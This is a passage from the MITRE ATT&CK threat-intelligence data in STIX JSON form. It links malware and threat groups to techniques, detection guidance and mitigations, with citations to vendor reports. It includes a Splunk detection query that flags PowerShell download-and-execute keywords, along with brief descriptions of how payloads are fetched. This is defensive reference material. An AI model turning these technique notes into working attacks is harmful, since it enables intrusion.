        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--d8c933d5-f44d-4e3b-ae15-f94518320995",
            "created": "2019-01-29T21:47:53.664Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Radware Micropsia July 2018",
                    "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.",
                    "url": "https://www.radware.com/blog/security/2018/07/micropsia-malware/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:50:39.013Z",
            "description": "[Micropsia](https://attack.mitre.org/software/S0339) creates a new hidden directory to store all components' outputs in a dedicated sub-folder for each.(Citation: Radware Micropsia July 2018)",
            "relationship_type": "uses",
            "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349",
            "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--d8cbc56c-4014-4e59-adfd-1899859f01d4",
            "created": "2020-11-06T18:40:38.464Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Proofpoint Leviathan Oct 2017",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"
                },
                {
                    "source_name": "FireEye Periscope March 2018",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
                },
                {
                    "source_name": "CISA AA21-200A APT40 July 2021",
                    "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department. Retrieved August 12, 2021.",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:12:40.149Z",
            "description": "(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)(Citation: CISA AA21-200A APT40 July 2021)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e",
            "target_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--d8cc55d6-2864-4642-a4e5-9e57b6033b52",
            "created": "2022-03-30T14:26:51.862Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "FireEye PowerShell Logging 2016",
                    "description": "Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html"
                },
                {
                    "source_name": "Malware Archaeology PowerShell Cheat Sheet",
                    "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.",
                    "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:50:39.399Z",
            "description": "If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity. It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\n\nPowerShell can be used over WinRM to remotely run commands on a host. When a remote PowerShell session starts, svchost.exe executes wsmprovhost.exe\n\nFor this to work, certain registry keys must be set, and the WinRM service must be enabled. The PowerShell command Enter-PSSession -ComputerName \\<RemoteHost\\> creates a remote PowerShell session.\n\nAnalytic 1 - Look for unusual PowerShell execution.\n\n<code> sourcetype=WinEventLog:Microsoft-Windows-PowerShell/Operational\n| search EventCode=4104\n| eval suspicious_cmds=if(like(Message, \"%-EncodedCommand%\") OR like(Message, \"%Invoke-Expression%\") OR like(Message, \"%IEX%\") OR like(Message, \"%DownloadFile%\"), \"Yes\", \"No\")\n| where suspicious_cmds=\"Yes\"</code>",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--d8cdc898-6f4f-4639-ada5-6284acbfc6f9",
            "created": "2025-03-30T22:40:35.765Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:50:39.605Z",
            "description": "Monitor executed commands and arguments for usage of the profiles tool, such as `profiles install -type=configuration`. ",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
            "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--d8d1b814-2a28-402f-ab3b-f64c6d9974ce",
            "created": "2021-10-17T15:10:00.732Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "TrendMicro Tonto Team October 2020",
                    "description": "Daniel Lughi, Jaromir Horejsi. (2020, October 2). Tonto Team - Exploring the TTPs of an advanced threat actor operating a large infrastructure. Retrieved October 17, 2021.",
                    "url": "https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:12:40.593Z",
            "description": "[Tonto Team](https://attack.mitre.org/groups/G0131) has exploited CVE-2019-0803 and MS16-032 to escalate privileges.(Citation: TrendMicro Tonto Team October 2020)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960",
            "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--d8d1c202-705c-4c13-823c-ff622969d5b1",
            "created": "2022-03-30T14:26:51.846Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:50:39.991Z",
            "description": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--8fb2f315-1aca-4cef-ae0d-8105e1f95985",
            "target_ref": "attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--d8d6740b-a359-4f5c-b7d4-2189eea77892",
            "created": "2018-10-17T00:14:20.652Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Lazarus RATANKBA",
                    "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/"
                },
                {
                    "source_name": "RATANKBA",
                    "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.",
                    "url": "https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:12:40.874Z",
            "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uploads and downloads information.(Citation: Lazarus RATANKBA)(Citation: RATANKBA)",
            "relationship_type": "uses",
            "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--d8d8ce21-9439-4b62-9021-ae4037172173",
            "created": "2022-03-30T14:26:51.863Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:12:41.059Z",
            "description": "Monitor executed commands and arguments in command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
            "target_ref": "attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--d8dc23f0-67a2-4cf8-a22c-ee63b5631715",
            "created": "2025-01-17T23:28:04.410Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
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                    "description": "ss64. (n.d.). NLTEST.exe - Network Location Test. Retrieved February 14, 2019.",
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                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
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                {
                    "source_name": "ESET Dukes October 2019",
                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.",
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                    "description": "Mudge, R. (2017, May 23). Cobalt Strike 3.8 \u2013 Who\u2019s Your Daddy?. Retrieved June 4, 2019.",
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                {
                    "source_name": "Cobalt Strike Manual 4.3 November 2020",
                    "description": "Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.",
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            "description": "[adbupd](https://attack.mitre.org/software/S0202) can run a copy of cmd.exe.(Citation: Microsoft PLATINUM April 2016)",
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                    "description": "Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.",
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                    "description": "Joseph Slowik, DomainTools. (2021, March 3). Centreon to Exim and Back: On the Trail of Sandworm. Retrieved April 6, 2024.",
                    "url": "https://www.domaintools.com/resources/blog/centreon-to-exim-and-back-on-the-trail-of-sandworm/"
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                {
                    "source_name": "US District Court Indictment GRU Unit 74455 October 2020",
                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.",
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                    "description": "Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021",
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                    "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.",
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                    "source_name": "Kaspersky Lab SynAck May 2018",
                    "description": "Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelg\u00e4nging technique. Retrieved May 24, 2018.",
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                    "description": "Hromcova, Z. and Burgher, A. (2023, September 21). OilRig\u2019s Outer Space and Juicy Mix: Same ol\u2019 rig, new drill pipes. Retrieved November 21, 2024.",
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            "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) collects the OS version, system architecture, computer name, product ID, install date, and information on the keyboard mapping to determine the language used on the system.(Citation: Talos Zeus Panda Nov 2017)(Citation: GDATA Zeus Panda June 2017)",
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                    "description": "CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.",
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            "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should be focused on initial access activities, such as drive by compromise where ad blocking adblockers can help prevent malicious code from executing.",
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                    "description": "Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021.",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "spec_version": "2.1",
            "id": "relationship--dd9a12ee-30b1-4764-860d-111c73411ebe",
            "created": "2021-03-16T22:47:15.398Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Microsoft Driver Block Rules",
                    "description": "Microsoft. (2020, October 15). Microsoft recommended driver block rules. Retrieved March 16, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
                }
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            "modified": "2025-04-28T16:13:31.448Z",
            "description": "Consider blocking the execution of known vulnerable drivers that adversaries may exploit to execute code in kernel mode. Validate driver block rules in audit mode to ensure stability prior to production deployment.(Citation: Microsoft Driver Block Rules)",
            "relationship_type": "mitigates",
            "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db",
            "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--dd9c1644-259d-4980-8058-fdc3c72fac7b",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "F-Secure Sofacy 2015",
                    "description": "F-Secure. (2015, September 8). Sofacy Recycles Carberp and Metasploit Code. Retrieved August 3, 2016.",
                    "url": "https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/"
                },
                {
                    "source_name": "Talos Seduploader Oct 2017",
                    "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html"
                }
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            "modified": "2025-04-28T16:13:31.636Z",
            "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) is executed using rundll32.exe.(Citation: F-Secure Sofacy 2015)(Citation: Talos Seduploader Oct 2017)",
            "relationship_type": "uses",
            "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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            "id": "relationship--dd9e0f42-5d9d-4690-9d34-4e08a29d4868",
            "created": "2021-09-24T21:41:35.014Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "HackerNews IndigoZebra July 2021",
                    "description": "Lakshmanan, R.. (2021, July 1). IndigoZebra APT Hacking Campaign Targets the Afghan Government. Retrieved September 24, 2021.",
                    "url": "https://thehackernews.com/2021/07/indigozebra-apt-hacking-campaign.html"
                },
                {
                    "source_name": "Checkpoint IndigoZebra July 2021",
                    "description": "CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021.",
                    "url": "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/"
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            "modified": "2025-04-28T16:13:31.811Z",
            "description": "[IndigoZebra](https://attack.mitre.org/groups/G0136) sent spearphishing emails containing malicious password-protected RAR attachments.(Citation: HackerNews IndigoZebra July 2021)(Citation: Checkpoint IndigoZebra July 2021)",
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            "id": "relationship--dd9f1283-ff4b-4314-b7ce-f326d6932bab",
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            "external_references": [
                {
                    "source_name": "Crowdstrike GTR2020 Mar 2020",
                    "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.",
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf"
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            "modified": "2025-04-28T16:13:31.987Z",
            "description": "[FIN7](https://attack.mitre.org/groups/G0046)'s Harpy backdoor malware can use DNS as a backup channel for C2 if HTTP fails.(Citation: Crowdstrike GTR2020 Mar 2020)",
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            "id": "relationship--dda297c6-2edc-47c5-b32b-0d4ef0f85be4",
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            "revoked": false,
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                {
                    "source_name": "Talos ZxShell Oct 2014",
                    "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.",
                    "url": "https://blogs.cisco.com/security/talos/opening-zxshell"
                },
                {
                    "source_name": "FireEye APT41 Aug 2019",
                    "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.",
                    "url": "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"
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            "description": "[ZxShell](https://attack.mitre.org/software/S0412) has a feature to perform SYN flood attack on a host.(Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014) ",
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            "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).",
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            "id": "relationship--dda729e3-eb8c-4c4d-a2cf-b34c5f9f8c52",
            "created": "2024-05-17T13:21:57.720Z",
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            "revoked": false,
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                {
                    "source_name": "TrendMicro RaspberryRobin 2022",
                    "description": "Christopher So. (2022, December 20). Raspberry Robin Malware Targets Telecom, Governments. Retrieved May 17, 2024.",
                    "url": "https://www.trendmicro.com/en_us/research/22/l/raspberry-robin-malware-targets-telecom-governments.html"
                },
                {
                    "source_name": "RedCanary RaspberryRobin 2022",
                    "description": "Lauren Podber and Stef Rand. (2022, May 5). Raspberry Robin gets the worm early. Retrieved May 17, 2024.",
                    "url": "https://redcanary.com/blog/threat-intelligence/raspberry-robin/"
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            "modified": "2025-04-16T22:51:53.954Z",
            "description": "[Raspberry Robin](https://attack.mitre.org/software/S1130) uses msiexec.exe for post-installation communication to command and control infrastructure.(Citation: RedCanary RaspberryRobin 2022) Msiexec.exe is executed referencing a remote resource for second-stage payload retrieval and execution.(Citation: TrendMicro RaspberryRobin 2022)",
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            "source_ref": "malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79",
            "target_ref": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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            "spec_version": "2.1",
            "id": "relationship--dda9f6bb-eb66-422b-aa58-fede809b6a6a",
            "created": "2020-05-27T22:05:32.062Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Sophos Netwalker May 2020",
                    "description": "Szappanos, G., Brandt, A.. (2020, May 27). Netwalker ransomware tools give insight into threat actor. Retrieved May 27, 2020.",
                    "url": "https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-threat-actor/"
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            "modified": "2025-04-28T16:13:32.532Z",
            "description": "Operators deploying [Netwalker](https://attack.mitre.org/software/S0457) have used psexec and certutil to retrieve the [Netwalker](https://attack.mitre.org/software/S0457) payload.(Citation: Sophos Netwalker May 2020)",
            "relationship_type": "uses",
            "source_ref": "malware--754effde-613c-4244-a83e-fb659b2a4d06",
            "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ddb0965b-83ac-4746-bfaa-a7356691ef43",
            "created": "2024-02-12T20:29:38.667Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Mandiant Pulse Secure Update May 2021",
                    "description": "Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.",
                    "url": "https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"
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            ],
            "object_marking_refs": [
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            "modified": "2025-04-16T22:51:54.365Z",
            "description": "[APT5](https://attack.mitre.org/groups/G1023) has named exfiltration archives to mimic Windows Updates at times using filenames with a `KB<digits>.zip` pattern.(Citation: Mandiant Pulse Secure Update May 2021)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ddbbd283-6874-4348-82c7-98df6d59ac41",
            "created": "2018-10-17T00:14:20.652Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "objsee mac malware 2017",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x25.html"
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "modified": "2025-04-28T16:13:32.798Z",
            "description": "[FruitFly](https://attack.mitre.org/software/S0277) looks for specific files and file types.(Citation: objsee mac malware 2017)",
            "relationship_type": "uses",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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            "created": "2022-03-30T14:26:51.847Z",
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            "modified": "2025-04-16T22:51:54.772Z",
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            "target_ref": "attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ddbd80ff-1319-4c9e-ad3c-93091b12a577",
            "created": "2022-03-30T14:26:51.857Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "modified": "2025-04-28T16:13:33.062Z",
            "description": "It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior.",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
            "target_ref": "attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ddbd85c0-2b3a-4311-966b-abc2e658c340",
            "created": "2024-06-10T18:59:41.165Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Lumen KVBotnet 2023",
                    "description": "Black Lotus Labs. (2023, December 13). Routers Roasting On An Open Firewall: The KV-Botnet Investigation. Retrieved June 10, 2024.",
                    "url": "https://blog.lumen.com/routers-roasting-on-an-open-firewall-the-kv-botnet-investigation/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-16T22:51:54.966Z",
            "description": "[Volt Typhoon](https://attack.mitre.org/groups/G1017) used [KV Botnet Activity](https://attack.mitre.org/campaigns/C0035) to build intermediate communication chains between operators and victims, such as identified access to victims in Guam.(Citation: Lumen KVBotnet 2023)",
            "relationship_type": "attributed-to",
            "source_ref": "campaign--0c259854-4044-4f6c-ac49-118d484b3e3b",
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            "modified": "2025-04-16T22:51:55.180Z",
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            "x_mitre_attack_spec_version": "3.2.0"
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                    "source_name": "GitHub Sliver HTTP",
                    "description": "BishopFox. (n.d.). Sliver HTTP(S) C2. Retrieved September 16, 2021.",
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            "description": "[Sliver](https://attack.mitre.org/software/S0633) can use standard encoding techniques like gzip and hex to ASCII to encode the C2 communication payload.(Citation: GitHub Sliver HTTP)",
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                    "source_name": "Unit 42 TA551 Jan 2021",
                    "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021.",
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                    "description": "ANSSI. (2021, February 25). RYUK RANSOMWARE. Retrieved March 29, 2021.",
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                {
                    "source_name": "CrowdStrike Carbon Spider August 2021",
                    "description": "Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021.",
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                    "source_name": "TCC macOS bypass",
                    "description": "Phil Stokes. (2021, July 1). Bypassing macOS TCC User Privacy Protections By Accident and Design. Retrieved March 21, 2024.",
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                    "source_name": "Unit 42 Kazuar May 2017",
                    "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.",
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            "description": "[Kazuar](https://attack.mitre.org/software/S0265) stages command output and collected data in files before exfiltration.(Citation: Unit 42 Kazuar May 2017)",
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                    "description": "Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014.",
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            "description": "Turn off UAC's privilege elevation for standard users <code>[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]</code>to automatically deny elevation requests, add: <code>\"ConsentPromptBehaviorUser\"=dword:00000000</code>. Consider enabling installer detection for all users by adding: <code>\"EnableInstallerDetection\"=dword:00000001</code>. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: <code>\"EnableInstallerDetection\"=dword:00000000</code>. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.(Citation: Executable Installers are Vulnerable)",
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                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/"
